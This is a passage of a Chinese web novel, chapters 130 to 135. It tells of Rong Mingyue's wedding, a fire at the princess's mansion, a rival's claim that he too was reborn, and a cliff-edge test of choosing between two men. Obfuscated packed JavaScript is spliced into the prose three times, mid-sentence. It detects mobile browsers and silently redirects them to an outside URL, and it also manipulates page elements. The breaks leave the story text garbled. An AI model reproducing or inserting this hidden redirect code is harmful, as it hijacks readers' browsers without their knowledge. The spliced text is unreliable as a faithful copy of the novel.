容明月听到大家议论,内心狂喜,可算让她抓到容旖纾的狐狸尾巴了! 第一百三十章婚礼完成 “爹,您自己听见了,这事儿就是她做的!”容明月激动的向容太尉告状。 到这会儿了,容太尉还是不太相信这个听话的庶女会做这种事儿,他扭头看向容旖纾,脸色难看至极。 可他还是不太相信背后做这一切的是这个庶女。 自从容旖纾回京以后,他在容明月这个蠢女身上丢的脸,都被这个乖巧的庶女挣了回来。 如今这个庶女在容太尉的心中比容明月这个嫡女还要重要。 以这庶女的才情,将来的夫婿身份肯定不会差。 倘若真是她所为,对于容府而言是巨大的损失。 这些考量只是在脑中一闪而过,容太尉便做好了决定。 不能再查了,容旖纾的名声不能毁。 “这件事儿肯定另有隐情,但明月的吉时不能误,这件事儿回头再查,先将婚礼完成。” 唐毓秀一听这话就知道自家丈夫的心思,他不想继续追究了。 这叫她如何能甘心! 她眼珠一转,悄悄在容明月耳边说了一句话。 容明月忽然跪在了容太尉面前,哭着请求容太尉。 “爹!女儿今日丢尽了脸面,将来在这盛京城内也抬不起头了,这婚女儿不成了,女儿要去水月庵削发为尼!” 若是容明月真去削发为尼,那容府的脸面就算真的丢在地上,捡都捡不起来了。 容太尉被这话气的不轻,立刻将小丫头拉起来,斥道:“胡言乱语些什么!楚怀是个良人,你们好好成亲!” 容明月哭着说道:“楚怀是好人,可我不是,我成亲的大日子都有人能够害我,往后我身上只会麻烦不断!” 楚怀有些着急,柔声宽慰她:“我会帮你解决麻烦!” “可你自己今日都差点成了罪人,若非怀宁公主提点,我便也将你连累得声名狼藉了!楚怀,我是个大麻烦,我们别成亲了!” 她这幅伤心绝望的模样刺痛了楚怀的心,他坚定的保证:“我只是没想到今日会有事端,我不是蠢人,明月,你相信我。” 容明月却一脸坚持,听不进去半分。 楚怀伤心的红了眼。 堂堂七尺男儿在众人面前差点掉泪,可想而知心中有多难受。 俗话说的好,宁拆十座桥,不拆一桩婚。 宾客们这会儿全都不落忍,对于容太尉的态度,宾客们也能猜到几分,无非是家丑不想外扬。 可再遮下去这对有情人就要散了。 便有人劝说容太尉。 “两个孩子能结为夫妻不简单,容太尉还是应该考虑全面一些。” “是啊,三小姐太委屈了。” …… 这下容太尉就算不愿追究也不得不追究。 他当即质问容旖纾。 “你老实说,这件事儿是不是你做的?” 容旖纾一脸茫然的跪下,拉着容太尉的衣摆哭着摇头。 “爹,女儿真的什么都没有做啊!” 容明月刚要质问她为何换衣裳,话到嘴边立刻换了一种语气。 “我知道姐姐肯定没做这种事儿,爹,这事儿是我自己做的,我自己恨自己,所以我要毁掉自己的婚礼,爹,我是个恶人,您将我送去水月庵做尼姑吧!” 她的脸上是和容旖纾一模一样的楚楚可怜,她的声音颤抖哽咽,犹如风雨之中摇摆的花骨朵。 宾客们忍不住心生怜悯,同时对容旖纾便添了怨气。 容太尉亦是如此,他狠狠踹开容旖纾,吩咐下人:“二小姐行为不端,将她带下去关入柴房!” 下人立刻入内,将容旖纾带走。 容明月总算扬眉吐气了一回! 婚礼顺利进行。 容明月被楚怀牵着送入花轿时忽然转身走到了乔楹月的面前,将头上的红宝石发簪簪入她的发间。 “希望公主也早日寻得自己的如意郎君。” 花轿渐渐远并着丝竹声远去,热闹也一点点远去,容府忽然空了一般的安静。 唐毓秀哭得‘呜咽’出声,哽咽的和乔楹月感叹。 “她的姐姐嫁的远,这些年就是明月陪着我,如今这丫头也嫁了,我这心啊,太难受了。” 乔楹月安慰:“好在三小姐嫁的近,隔三差五便能回家陪容夫人说话。” 唐毓秀欣慰的点头。 乔楹月乘坐马车回了府,她将头上的红宝石发簪取下来,放在手中轻轻抚摸,唇角扬起无奈的笑。 她或许一辈子都不会像容明月那样,寻得一个可以全心托付的男子。 发簪被放入梳妆台珍藏了起来。 这厢。 容太尉来到柴房见容旖纾,看着这个自己曾经寄予厚望的女儿,他感到无比的失望。 “爹实在想不通,你为何做这种事儿?我们是一家人,你妹妹的名声毁了,你也无法独善其身。 旖纾,你到底是怎么想的?” 容旖纾跪在容太尉面前,用力的摇头。 “爹,真不是女儿做的……” “你还要狡辩!” 容旖纾一脸坚持:“爹,女儿没道理做这些事儿啊,您自己都知道其中有问题,这些事儿对女儿一点儿好处都没有的,除非女儿不是容府血脉,才有可能做这些。 爹,女儿今日是来了月事,衣裳弄脏了才会换衣,却被有心人发现,暗中利用,使得我们容家人生了嫌隙,让外人看了笑话。” 她的表情诚恳极了,容太尉阅人无数,却无法从中发现半点问题, 仔细琢磨容旖纾这番话,也觉得十分有道理。 容太尉的脸色缓和几分,叹气道:“今日是冤枉你了,你好好在这儿待几日,等你娘和你妹妹的气消了,爹便放你出来。” 半个月后的一个下午。 乔楹月正在听何掌柜禀报新铺子的情况,红豆忽然进来禀报。 “公主,秦拂郁求见。” “赶走。” “是。” 何掌柜眸色微闪,从公主府离开后又去见了沈砚。 在禀报了乔楹月的金铺情况以后,顺便将秦拂郁求见的事儿说了。 沈砚的表情很冷。 入夜。 乔楹月躺下休息,睡到迷迷糊糊之际,忽然被红豆慌张的摇醒。 “公主!走水了! 走水? 乔楹月猛地清醒,‘唰’地坐起来,就见窗外红色光影摇晃着,敞开的大门口火光冲天,热浪燎着黑烟往屋内冲。 第一百三十一章也重生了 秦拂郁蹲在公主府对面的暗巷之中,看见公主府冲天的火光,眼睛一亮,立刻施展轻功跳入府中。 这会儿暗卫全都赶往走水之处,公主府的防卫十分薄弱。 府中这会儿乱成一团,下人们端着水桶快速朝着火光的方向跑着。 “公主还在屋子里没逃出来,大家快些灭火!” 秦拂郁的心情既紧张又激动,他屏住呼吸快速来到流光阁。 只见偌大的院子全部被大火笼罩。 他随手抢了一人的水盆,兜头泼在自己的身上,毫不犹豫的冲入火海之中。 火光熊熊,热浪如炙。 秦拂郁凭感觉来到内室,朝着里头呼喊。 “公主!拂郁来救公主了!公主您出个声儿!” 然而回应他的只有劈啪作响的燃烧声。 这会儿火太旺,即便不被火烧到,也会很快就被烤熟。 秦拂郁快速在屋里搜寻一圈,却没寻到乔楹月的身影。 大火已经烧了许多地方,或许她已经被烧死在哪个角落了? 温度实在太高,秦拂郁不得不退出来。 他刚在外面站定,便听见有人在大哭。 “公主!您没受伤可太好了!” 他立刻循着声音看过去,便见乔楹月站在火光之下。 她的模样有些狼狈,但神态却依旧高贵。 公主没事! 可是公主还没等他来救就已经安全了。 秦拂郁抿唇看向乔楹月身边,便见那个叫林酒的侍卫恭敬的站在她的身边,林酒的身上非常狼狈,明显是他从火海将乔楹月救出来的。 除了林酒以外,在乔楹月的身后还有一片乌压压的暗卫,漆黑的衣裳和夜色融为一体,只有眸子泛着寒光。 这会儿这些人全都单膝跪在地上,等着他们的主子惩罚。 这些卑微的身影便衬得这天地间只有那道高贵身影存在。 秦拂郁瞧着那道身影,忽然明白了一件事儿。 如今的乔楹月早已不是那个需要人保护的小姑娘,她有能力有权利,是一个强大的女子。 而他,妄想着靠英雄救美来再次获得她的放心,简直可笑至极。 秦拂郁苦笑,却不想放弃,他抬脚朝着乔楹月走去,却有一道身影抢先越过他,站在了乔楹月的面前。 是沈砚。 他站在乔楹月的面前,关切的问她:“公主可有受伤?” 乔楹月仰着脸回答他:“本宫无事。只是这宅子烧毁了又得花银子重修,本宫肉疼。” 沈砚清冷的面上露出笑意:“微臣的钱财虽然不及公主,但这点修房子的钱财却不缺,这房子微臣替公主修了。” “这可是沈大人自己提的!” 乔楹月像是生怕沈砚反悔,脸上带着几分俏皮,还有几分隐藏极深的信赖。 沈砚宠溺的笑着。 这样的两个人站在一起,气质是强强联合,简直是天造地设的一对。 秦拂郁忽然不敢上前,他后退几步,转身离去。 经过这么一番折腾,乔楹月有些累了,沈砚提出帮她处理这一大堆的烂摊子,她拒绝了。 琐碎之事有人帮忙处理自然是好事。 但太过依赖旁人会失去自我,一旦没了自我,生活上的任何风吹草动都能让人寸步难行。 沈砚离开以后,乔楹月吩咐林酒一番,便重新洗漱歇下。 次日。 乔楹月用早膳时谢烬弦领着皇命前来慰问一番。 谢烬弦前脚离开姬南萱就来了。 姬南萱还没走,宁烽又来了。 好不容易送走这两人,文墨甲风风火火冲进来。 “公主可查到这大火是谁放的?” 昨夜大火气势特别快,乔楹月也觉得奇怪。 可把手公主府的暗卫并未察觉异常。 在大火扑灭以后,林酒也搜查了火灾之地,并未发现任何古怪。 看样子应该是自然着火。 可乔楹月却笃定,这火肯定是人为的。 能做到这般无声无息,看来又是那背后之人。 背后之人入公主府简直如入无人之境,想杀她轻而易举,却偏偏不杀她,实在让她费解。 这些事儿乔楹月自己都想不明白,文墨甲一个武将,本就不聪明,知道了只会更想不明白,与其让他跟着担惊受怕,不如不告诉他。 “是一场意外,舅舅放心吧。” 文墨甲立刻就信了,松了一口气。 在文墨甲离开以后,容明月撇开自己的新婚夫君,独自前来探望。 乔楹月和她说了会儿话,容明月见她没什么事儿彻底放下心来,说起了自己想要买些料子做衣裳。 昨晚那场大火几乎烧光了乔楹月的衣裳,她也要置办一些,便同她一起出府。 来到盛京最好的布料坊,容明月兴致勃勃的帮乔楹月挑选。 她的眼光很好,每一匹料子都好看,乔楹月便全都要了。 只是这些料子好看是好看,却没有让她格外喜欢的。 乔楹月想到那天蚕纱出了栀子花的样子,据说是什么新出的工艺,是印染上去的,十分漂亮。 她便问那伙计。 “栀子花样子的天蚕纱还有吗?” 伙计一脸惋惜,“最后一匹刚刚被人买走了。” 乔楹月有些失望,却也并未放在心上。 便在这时,有人将一匹天蚕纱的料子送到了眼前。 “没想到公主和拂郁的眼光一样,君子不夺人所好,这匹料子便送给公主。” 乔楹月的脸色立刻冷下去,抬眼看向端着布料的男人,眼底浮起寒芒。 “费了这么多心思,你便说说,你又想求什么?” 今早林酒向她禀报,昨晚大火时秦拂郁前来,冲入大火中寻找过她。 乔楹月清楚秦拂郁的德行,所为之事皆有目的。 他借着剿匪的由头走出了大牢,便立刻到她面前献殷勤,所谋的,怕是自己那驸马的位置。 昨日拒绝了他的求见,她就知道此人肯定不会放弃。 眼下能提前买下这匹天蚕纱,必定是跟了她一路,这一路他能避开林酒的察觉,怕是还有那背后人出手。 昨晚的大火,肯定也有他的份儿。 是想英雄救美再次博得她的好感? 可笑! 秦拂郁看见小姑娘眼底的讽刺,他的心忍不住刺痛,无尽的忏悔堵在喉咙,化成苦涩蔓延心间。 他深深看着乔楹月,用只有两个人能听见的声音说道。 “我也重生了。” 乔楹月的面色陡然变了。 第一百三十二章他吃醋了 “你在说什么?” 重生之事连舅舅都未告知,乔楹月自然不可能让秦拂郁诈出来。 这会儿她面色镇定,古怪的盯着他,像是完全听不懂他说什么一般。 秦拂郁缓缓笑了,低声道:“此事非同小可,拂郁想和公主单独说话。” 乔楹月抿唇片刻,道:“好。” 随后乔楹月同容明月说道:“本宫有些事儿,你在这儿等一会儿,本宫很快回来。” 在秦拂郁出现时容明月便脸色不好看,看见乔楹月对他的态度很冷淡,她又放心了。 可下一刻秦拂郁只是低声对她说了一句话,她便要与他单独离开。 公主莫不是还对此人有感情? 眼见乔楹月和秦拂郁一道离开,容明月哪儿还有心情买什么不了,立刻丢下布料去了沈砚的私宅。 这会儿沈砚正在处理事务,听闻容明月求见,马上明白她的来意。 将人请到小厅,听闻容明月说完了前因后果,沈砚客气的向她道谢,并亲自送她离开。 察觉到沈砚对比从前热情多了,容明月的心情有些激动。 看来沈砚真的很喜欢公主,自己是做对了。 那个秦拂郁无论模样家世还是人品都不及沈砚,就算给公主做个暖床男人都不够格,还是沈砚般配些! 这厢。 乔楹月和秦拂郁来到茶楼,进入雅间。 不想重生之事闹得人尽皆知,乔楹月便将红豆遣到了雅间外等候。 这会儿雅间之内就只有她和秦拂郁两人。 秦拂郁所说的重生与她的重生是不是一回事呢? 乔楹月慢悠悠喝了一口茶,放下茶杯后看向秦拂郁。 “你到底想与本宫说什么?” 秦拂郁诚恳道:“拂郁和公主一样是重生之人,也正是因为重生了,拂郁才知道自己前世错的有多离谱……” 听见这番话,乔楹月便确定,他口中的重生便是自己想的那样! 原来能重生的不止她一个。 前世秦拂郁活的比她长久,知道的事情肯定比她多,如今他来自己面前告知重生之事,是否另有原因? 心头猜测重重,乔楹月面上不显,沉声问道:“哦?本宫倒是第一次听说什么重生,很是稀奇。” 秦拂郁苦笑:“公主莫要装了,拂郁重生后将公主的种种变化稍微一想,就明白了一切。” 看来这重生之事是瞒不住了。 既然如此,索性摊开了问个清楚。 “前世是你杀了本宫,秦拂郁,你怎么还有脸来本宫说这些?” 熟料秦拂郁竟然十分委屈。 “公主误会了,杀死公主的并非拂郁,而是……” “谁?” “那人的身份拂郁不能说,一旦拂郁说了,公主也会有危险。” “你不说本宫便能安全?” “比现在安全。” 乔楹月敛眸,纤长的睫毛遮住了所有情绪。 秦拂郁顿了顿,软声说道:“前世我的结局也不好,公主死后沈砚像条疯狗一样追着我咬,后来我被他逼得身败名裂,落了个家破人亡的下场!” 前世之事对秦拂郁而言犹如昨日发生,历历在目。 不过很快这份愤怒便都变成释然消失了。 “我知道,沈砚一直喜欢公主,认定是我害**公主,他在帮公主报仇,这份心我很敬重,说起来,他确实十分深情,公主去世后他一夜间白了头……” 乔楹月的心狠狠痛了一下。 原来前世沈砚为她做了这么多。 秦拂郁连这些都知道,那肯定也知道她重生的原因。 但此人卑劣,若是直接询问肯定听不到真话。 “你重生是颜倾柔的帮助?” 秦拂郁冷着脸摇头:“我失去一切以后她第一个抛弃我,转身嫁给了别人!” 随后他深情的望着她忏悔。 “人只有落魄时才能知道谁对自己最好,我饿死时才彻底明白,这世上只有公主是真心真意待我好!” 若是前世听到这番感恩之言,乔楹月肯定会心花怒放。 可如今,她只觉得可笑。 非常可笑。 她并未反驳什么,而是静静看着秦拂郁的神情模样。 秦拂郁的眼圈泛着红,深深回望她。 “重生后我便发誓, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370147|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一世换我来对公主好!” 前世的种种尘埃落定,秦拂郁带着忏悔重生,他对乔楹月的复杂感情浓烈至极,眼下这句话说出口时不禁落下眼泪。 这一次他是诚恳的,他是真的想要对乔楹月好。 而乔楹月看着他的眼泪,无动于衷。 秦拂郁有些急:“公主不信我?” 乔楹点头:“不信。” “要我如何公主才能相信我的真心?” “你告诉本宫,你是谁帮你重生。” 秦拂郁却露出一脸茫然:“前世我落魄以后无家可归,没有人愿意收留我,我非常想念公主,便出城来到公主坟前,我想和公主死在一起,后来我咽气时紧紧抱着公主的坟堆,等我再睁眼时就重生了。” 乔楹月深深蹙眉。 这种东西竟然死在了自己的坟头。 晦气! 不过这也证明,他的重生是因为她的坟堆。 看来她重生的原因就在自己的坟墓之中! 眼下能从秦拂郁口中得到的也只有这些了。 乔楹月不想多留,起身就走。 秦拂郁望着她的背影大声保证。 “我会让公主回心转意的!” 乔楹月走下台阶来到一楼,正要离去,却瞧见大堂正中坐着一道熟悉的身影。 她微微挑眉,笑着走过去,背着手问道:“沈大人好雅兴。” 沈砚放下茶杯,站起来行礼,随后一本正经的说道:“没想到这么巧,竟会在这儿遇到公主。” 这睁眼说瞎话的本事让乔楹月佩服,她不想过多解释,便也并不揭穿,直到: “正好本宫要新开一家金铺,沈大人在这方面有心得,可否赏脸虽本宫回府详聊?” “微臣荣幸之至。” 出了茶楼,沈砚又睁眼说瞎话。 “微臣的马车坏了,只能坐公主的。” 乔楹月被他逗笑,笑着允了。 沈砚彬彬有礼的扶她上马车,自己随**内,直接坐在了她的身侧。 乔楹月扭头正想说话,便被他圈住脖子吻了上来。 带着醋意的吻,霸道热烈,酥软入骨。 第一百三十三章要二选一 秦拂郁通过雅间的窗户看见沈砚进了乔楹月的马车,心中又酸涩又无奈。 不过他并未难过太久。 感情不可能轻易消失,乔楹月前世能喜欢他,现在还是会喜欢他。 是前世他所做的事儿太过寒心,沈砚这卑鄙之人又总是在她面前献殷勤,才让她一时迷失了本心。 他半点不怕乔楹月知道沈砚的心思,更不怕乔楹月知道前世里沈砚的付出,因为他笃定,只要他稍微出手,乔楹月的心便会回到他的身上。 当天晚上,秦拂郁来到了城南沈砚的私宅。 沈砚对此倒并不意外。 他的人一直暗中跟着秦拂郁,传回来的消息让他察觉此人性情大变。 从前是个软饭男,如今是个努力的软饭男。 眼下能够跟乔楹月亲近的只有自己,这个软饭男有危机感,找上门来挑衅很正常。 对此沈砚不仅不生气,反而有些得意。 “请到小厅。”他冷淡吩咐。 沈匆将秦拂郁请到了小厅,却并未奉上茶水。 秦拂郁冷哼。 不一会儿沈砚进入小厅,坐在了主位上,淡淡看向他。 “秦公子见本官有何事?” 秦拂郁笑道:“沈大人应当很清楚才是。” 沈砚点头:“吃醋了。” “是,”重生之前,秦拂郁咬死不会承认,重生后他巴不得乔楹月知道他的感情,“不过我知道,公主只是一时迷失,最终还是会回到我这里。” 沈砚挑眉,“确定?” “沈大人可敢和我赌一把?” “你没资格。” 这四个字没有半点意气用事,而是实事求是。 沈砚很有底气。 这一点让秦拂郁很不爽。 是谁给他的底气? 公主吗? 此人没有半分自知之明! 秦拂郁压了压火,压低声音在沈砚耳边说了一句话,只见沈砚的面色翛然阴沉,狠狠掐住了他的喉咙。 向来斯文清冷的脸上这会儿透着狠绝。 “你在找死!” 秦拂郁像是有恃无恐,重新问他:“沈大人可敢和我赌一把。” 沈砚薄唇紧抿,手指加重力道,秦拂郁的脖颈传来轻响,即将被掐断。 即便心中再是有恃无恐,秦拂郁的内心也慌乱起来,他抓住沈砚的手用力挣扎。 可他越挣扎那只手就越紧。 恐怖的窒息将他笼罩,他的眼前逐渐黑暗,仿佛又回到了前世咽气的那一刻。 他害怕了! 他想求饶…… 可他必须赌这一把! 否则这重新开始的人生一样是个死局! 秦拂郁要紧牙关,宁死不肯求饶。 最终沈砚丢开他,冷声丢出一个字:“行。” 秦拂郁离开以后,沈砚立刻派出沈匆去办一件重要的事儿,这是沈匆头一次在自家主子身上感受到恐慌。 他不禁疑惑。 那秦拂郁到底和主子说了什么? 这厢。 秦拂郁回到客栈,他剿匪有功,得到了朝廷的一点赏银,足够住几日客栈。 东山的土匪被抓的差不多了,倘若这些土匪就此收敛,不再出来危害百姓,他这个抓匪的棋子定然又要重新回到大牢之中。 他的时间不多,必须尽快让乔楹月看清自己的内心。 次日下午。 乔楹月刚小睡起来,林酒慌慌张张跑进来禀报。 “公主!沈大人被秦拂郁给算计了!” 初听时乔楹月不相信,直到林酒认真的重复了一次,她才相信这事儿是真的。 她疑惑的问道:“怎么回事?” 林酒着急的道:“属下听从您的吩咐派了暗卫跟踪秦拂郁,昨日傍晚,秦拂郁去见了沈大人,今日中午,沈大人和秦拂郁一起出城去了。 等到属下追过去时便发现沈大人被吊在了悬崖边上!” “什么?!”乔楹月‘唰’地站起来,“沈匆没将人救下来?” 林酒摇头:“周围没瞧见沈匆的身影,属下怀疑是秦拂郁用调虎离山骗走了沈匆,沈大人落单之下遭了秦拂郁的毒手!” 乔楹月觉得这个猜测不可能。 沈砚的身手在大周都是数一数二的,即便沈匆不在身边秦拂郁也奈何不了他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370148|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 何况如今的秦拂郁只有孤身一人,就更是伤不到他一根汗**了。 那就只有一个可能。 背后人出手了! “带本宫去找他!” 为了快些赶到地方,乔楹月直接骑了马,可她不会骑马,便只能让林酒带着她。 她坐在林酒身后,马儿风驰电掣的出了城,朝着东山的方向而去。 东山地势险峻,山上各方土匪盘踞。 乔楹月知道秦拂郁在此处剿过匪,不禁猜测是不是他跟土匪勾结坑害沈砚。 这一路上她心神不宁。 一个时辰后马儿停在东山的山脚下。 乔楹月下马时腿被颠麻了,扶着林酒的手才不至于摔倒。 山路不平,等她爬到事发的半山腰时已是傍晚,漫天的晚霞落在陡峭的山崖上。 山崖边有一棵歪脖子树,乔楹月一眼看见沈砚腰上系着绳子,整个人在悬崖上空晃荡。 崖底吹上来的寒风将他的衣裳吹得翻飞,他的脸色泛着白。 乔楹月忽然觉得心疼。 那样单薄的一个人,被寒风吹得直打转,像任人宰割的羔羊,好可怜! 这一刻乔楹月忘了沈砚高强的武功,更忘了这根绳子在他手中犹如蝉翼,他想要弄断绳子跳回崖上轻而易举。 乔楹月抽了林酒的长剑,快步走到沈砚面前,一边去割绳子一边吩咐林酒。 “你要将人接住。” 林酒知道沈砚会武,估摸着沈砚和崖上的距离,想要在绳子断裂的瞬间跳上来,这对一个会武的人而言不难。 可看见乔楹月脸都是白的,他根本没时间思考,整装待发的守在旁边准备将人接住。 乔楹月正要割绳子时旁边忽然传来秦拂郁的声音。 “这绳子只要削断一头,另外一头的人便会掉下山崖!” 乔楹月这才发现歪脖子树上还有个秦拂郁,他的腰上也系着绳子,和沈砚是同一根,两人的绳子挂在树杈上,重量将树杈压得上下弹动。 见乔楹月在看自己,秦拂郁温柔的朝她笑:“公主今日只能救一个,另外一个一定会掉下山崖。 公主,您会救谁?” 第一百三十四章羞辱到底 乔楹月收回长剑,走向了秦拂郁。 秦拂郁心情狂喜! 方才乔楹月赶到时先朝着沈砚走过去,看沈砚得意的样子,肯定以为自己在她心中最重要。 实际上是因为乔楹月没看见他。 沈砚固然对乔楹月重要,但当他出现时沈砚就什么都不是了! 秦拂郁得意的看向沈砚,笑盈盈道:“沈大人,我唔……” 乔楹月忽然拔剑在秦拂郁胸口捅了一下。 她的力气小,剑尖刺入并不深,但尽管如此也将秦拂郁疼的浑身冒冷汗。 他用手捂住胸口,鲜血从指缝流出来,脸上充满了不可置信。 “是不是山崖太高,公主恐高不敢睁眼,刺错了人?” 乔楹月狠狠朝她翻一个白眼:“本宫刺的就是你。” 秦拂郁不死心:“不可能,我不相信你会这么对我,公主是不是还是在恨我?” “本宫不会恨你。” 秦拂郁刚要高兴,便听到小姑娘极其冷漠的吐出一句。 “有爱才有恨,本宫自然不会恨你,本宫是单纯的鄙夷、蔑视你。” “不可能!” 前世爱的那样浓烈,怎会说不爱就不爱,她一定还在闹脾气! “公主可还记得我们一同逛元宵灯会,我猜对了灯谜,赢得一个八角花灯送给公主,公主当时笑得格外开心。 我们在星空下乘坐画舫,河面上飘荡的花灯见证了公主对我的感情! 我们在深夜中缠绵,公主紧紧搂着我时,我能够感受到公主全部的爱意……公主,求您不要再说气话了!” 前世乔楹月确实和秦拂郁逛过元宵灯会,那时他们还未成亲,秦拂郁对她的态度十分亲近。 他们乘坐画舫时乔楹月甚至觉得自己就是世上最幸福的人。 后来他们成亲了,秦拂郁的态度一夜之间改变。 每到夜里他便会借口离开,留下她自己一夜一夜独守空房。 那时她只以为他不行,为了不伤害他男子的自尊心,打听到一味可以激发男人欲望的药。 她将这味药悄悄下在他的茶水之中,喝药的他果然‘好’了起来。 可等她将自己脱得只剩下肚兜了,下人忽然敲门,说颜倾柔受伤了。 已经被药激发欲望的男人就那样推开她,头也不回的离去。 她穿着肚兜跌坐在床上,自尊碎了一地…… 沈砚定定看着乔楹月,便见她并未否认秦拂郁所说的一切,甚至脸上露出复杂情绪,像是伤心,又像是释怀。 看来秦拂郁所说并无虚言。 乔楹月没注意沈砚的表情,她看着挂在崖上的秦拂郁,想着前世自己的那些付出,觉得格外可笑。 不过如今那些曾折磨得她痛苦不堪的事儿,已不再能激起她半点情绪。 看见秦拂郁时内心不再有任何波动,即便眼下他做出一副深情的模样,在她看来像个跳梁小丑一般可笑。 她也实在有些好奇。 “秦拂郁,你文不成武不就,模样不上不下,家世在这盛京城内更是排不上号,本宫实在好奇,是什么给了你这么大的自信?” 秦拂郁感觉自己受到了莫大的侮辱! “公主这些话是不是太过分了?” 乔楹月笑出声:“过分?本宫还有更过分的话呢。 你觉得只要稍微给点好脸色,本宫便会摇着尾巴回到你身边?简直痴人做梦! 本宫身边美男无数,哪一个不比你优秀,不比你待本宫诚心? 本宫可以将这些人全部收罗府中,却偏偏不这么做,而是到你面前摇尾乞怜,你自己想想,是本宫疯了,还是你疯了?” 这话说出来好像确实是这么个道理。 但秦拂郁却觉得话不应该这么说! 可这会儿面对乔楹月冰冷的表情,他内心的支点被碎了一角,隐隐有些不自信起来。 “公主不要再说气话了,公主若再这么说下,拂郁就真的伤心了!” “你竟有心?真是天大的笑话!” 秦拂郁发怔起来。 不对。 这一切与他预想的不对! 前世的她明明到底都对他深爱不已。 如今他重生了,已经改过自新,她怎么就不愿意与他好了呢? 肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370149|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定是还在生他的气! 沈砚此人奸诈狡猾,肯定是他将计就计,故意用乔楹月伤他,目的就是为了将乔楹月从他身边抢走! 沈砚此人好生险恶! 他必须当着乔楹月的面将他揭穿! “公主!我明白了,这一切都是沈砚的阴谋,他故意激我来这里,故意挑拨我们的关系,故意让公主愤怒失去理智,对我说出狠话! 一旦我们的关系破裂,他便可以趁虚而入,抱得美人归!” 沈砚不悦挑眉,但是想了想,又觉得这话也没有完全冤枉他。 一看见沈砚的表情,秦拂郁便像找到了犯罪证据般激动起来。 “公主自己看!他心虚都不说话了!” 乔楹月看向沈砚,果真看见这厮的表情是承认了一切,她皱眉,义正言辞的说道: “沈大人英俊潇洒,文采斐然,武功卓绝,若是沈大人对本宫有爱慕之心,无需沈大人暗中出手,沈大人只需要勾勾手指头,本宫便会主动投怀送抱。” 秦拂郁错愕。 此等大逆不道之言没有哪个女子干当众说出。 眼下乔楹月不仅说了,还当着他的面。 看来是真气狠了。 前世自己做的那些事儿确实过分,平心而论,乔楹月捅的这一刀都是轻的。 若是让乔楹月将前世的怨气全部发泄出来,他们的之间的误会便能消除,他们的关系便能回到从前。 “公主尽管骂吧,我都受着,等公主骂完了,我们便好好过日子! 眼下我和沈砚挂在崖上已经许久,公主还是快些做出抉择吧!” 秦拂郁笃定,乔楹月再怎么跟他生气,心里都还是在意他的,最终肯定会割他的绳子将他救下! 看到秦拂郁脸上的自信,乔楹月要恶心吐了。 看来跟此人说再多都没用。 那就没必要再多说,直接做给他看好了。 她拎着长剑走到沈砚面前,手起剑落割断了他腰上的绳子。 林酒正要将人接住,那个那人已经自己跳上来,顺势跌在了他家公主的肩头。 “公主,微臣受惊了。” 第一百三十五章因为它苦 秦拂郁的身子骤然下落,摔下了山崖。 这会儿他根本没力气怨怪乔楹月,而是在心中庆幸自己选了个矮一些的山崖。 现在落下来只是摔断了骨头,命还在。 只要命还在,他就还有东山再起的机会! 便在这时,一个上山捡柴的老人路过,秦拂郁立刻呼救。 颜倾柔在青衣巷租的院子到了期限,房东将庄秋赶了出来。 庄秋想起秦拂郁住在客栈里头,便立刻寻了过去。 她刚刚赶到客栈,便看见一个戴着草帽的老人家,扶着秦拂郁走进客栈。 她赶紧上前帮着搀扶。 “拂郁?你这是怎么了?” 老人家见此猜到庄秋和秦拂郁相识,便转身离去。 秦拂郁此刻是连呼吸都疼,能保持清醒没晕过去,都多亏了这么些年习武强健的身体。 他根本没力气说话,只能眼神示意庄秋送他上楼。 庄秋小心翼翼的扶他上楼,等他躺下后立刻问他。 “娘看你伤的很重,你快告诉娘,你遇到什么事儿了?” 秦拂郁叹气,将这两日发生的一切告知,顺带埋怨乔楹月。 “她也真是狠心啊,竟然真舍得让我掉下山崖。” 庄秋眼眸微闪,问道:“也就是说,你和怀宁公主的事儿是彻底黄了?” 虽然有些不甘心,但秦拂郁也算认清现实了。 “算是吧。” 庄秋又问:“那你背后那神秘人呢?可还愿意帮你?” 秦拂郁苦笑:“怕是不会再帮我了。” 庄秋继续问:“你受伤这么重,可有医药费?” 秦拂郁摇头:“我身无分文了,娘,您得想办法去弄点银子为我请大夫。” 庄秋不死心的又问:“那你就没有别的出路了?例如你去庄府见你生母,说不定能有出路。” 秦拂郁苦笑:“娘想的太天真了,庄茗恨不得杀了我,不可能帮我的。” 庄秋脸色淡了下来:“也就是说,你已经走投无路了?” “确实如此……” 庄秋点点头,叹了一声:“你放心吧,娘不会抛下你的,娘现在就去帮你请大夫!” 秦拂郁有些感动。 前世他落魄以后庄秋半点没念旧情,抛下他就走了。 如今重生而来,乔楹月是变了,这个养母也变了,变得有情有义了。 看来人生真的是东边不亮西边亮! 